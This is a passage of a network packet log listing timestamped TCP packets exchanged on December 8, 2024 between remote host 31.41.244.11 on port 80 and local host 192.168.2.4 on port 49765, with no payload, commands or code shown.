Dec 8, 2024 18:06:11.134342909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.134385109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.135271072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.135329008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.135385036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.135448933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.136432886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.136481047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.136573076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.136619091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.137393951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.137437105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.137489080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.137532949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.138605118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.138648987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.138698101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.138741016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.139539957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.139589071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.139630079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.139669895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.140528917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.140582085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.140628099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.140672922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.141562939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.141616106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.141690969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.141736984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.142641068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.142694950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.142796993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.142841101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.143707991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.143753052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.143810034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.143851042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.144754887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.144798994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.144889116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.144932032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.145829916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.145893097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.145929098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.145967007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.146847010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.146894932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.146905899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.146949053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.147855997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.147908926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.147972107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.148015976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.148956060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.149000883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.149108887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.149148941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.149909019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.149952888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.150057077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.150099039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.150959969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.151004076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.151043892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.151084900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.152278900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.152329922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.152338982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.152383089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.152986050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.153004885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.153037071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.153048038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.154006958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.154059887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.154114008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.154160023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.155106068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.155162096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.155188084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.155232906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.156125069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.156198978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.156204939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.156243086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.157059908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.157107115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.157172918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.157211065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.158119917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.158174992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.158193111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.158231974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.159121037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.159163952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.159231901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.159266949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.160131931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.160175085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.160181999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.160223007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.161154032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.161206961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.161276102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.161312103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.162184000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.162224054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.162363052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.162410975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.163247108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.163297892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.163371086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.163413048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.164298058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.164350033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.164386988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.164427042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.165270090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.165317059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.165386915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.165426970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.166260004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.166325092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.166373968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.166407108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.167292118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.167341948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.167398930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.167443037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.168302059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.168358088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.168406963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.168450117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.169326067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.169373035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.169450045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.169492960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.170500040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.170543909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.170608044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.170650005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.171480894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.171534061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.171577930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.171617031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.172414064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.172460079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.172514915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.172559023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.173469067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.173517942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.173652887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.173695087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.174526930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.174575090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.174623966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.174664974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.175501108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.175544977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.175620079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.175662994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.176534891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.176580906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.176645041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.176687002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.177470922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.177515984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.315196991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.315246105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.315387964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.315433025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.315690994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.315737009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.315848112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.315890074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.316735983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.316777945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.317152023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.317198992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.317286968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.317329884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.318085909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.318129063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.318178892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.318223000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.319132090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.319174051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.319245100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.319288015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.320142984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.320183992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.320255995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.320297003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.321166992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.321208954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.321244955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.321288109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.322196007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.322254896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.322283983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.322335958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.323287964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.323333025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.323407888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.323451996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.324268103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.324312925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.324363947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.324404955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.325237036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.325282097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.325341940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.325381994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.326332092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.326380014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.326453924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.326497078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.327296972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.327334881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.327465057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.327507973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.328306913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.328352928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.328517914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.328557968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.329392910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.329438925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.329521894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.329564095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.330394030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.330437899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.330514908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.330558062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.331384897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.331433058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.331496000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.331540108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.332401037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.332433939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.332459927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.332468033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.333440065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.333482981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.333565950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.333609104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.334439993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.334479094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.334538937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.334580898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.335547924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.335583925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.335589886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.335623026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.336503983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.336543083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.336627960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.336667061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.337522984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.337567091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.337624073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.337670088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.338821888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.338869095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.338881969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.338921070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.339669943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.339716911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.339764118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.339806080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.340590000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.340635061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.340691090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.340732098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.341625929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.341672897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.341804981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.341847897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.342768908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.342828035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.342849970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.342892885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.343656063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.343702078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.343765020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.343810081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.344665051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.344708920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.344868898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.344913006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.345695019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.345737934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.345896006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.345941067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.346724987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.346766949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.346828938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.346870899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.347734928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.347778082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.347841024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.347887039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.348750114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.348793983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.348856926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.348898888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.349826097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.349870920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.349935055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.349977970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.350805044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.350848913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.350908041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.350960970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.351844072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.351890087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.351922989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.351963043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.352890015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.352936029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.353025913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.353071928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.353874922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.353915930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.353967905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.354011059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.354955912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.354998112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.355030060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.355067015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.355901957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.355948925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.356060982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.356105089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.356934071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.356976032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.357039928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.357084990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:11.357943058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:11.357990026 CET	49765	80	192.168.2.4	31.41.244.11
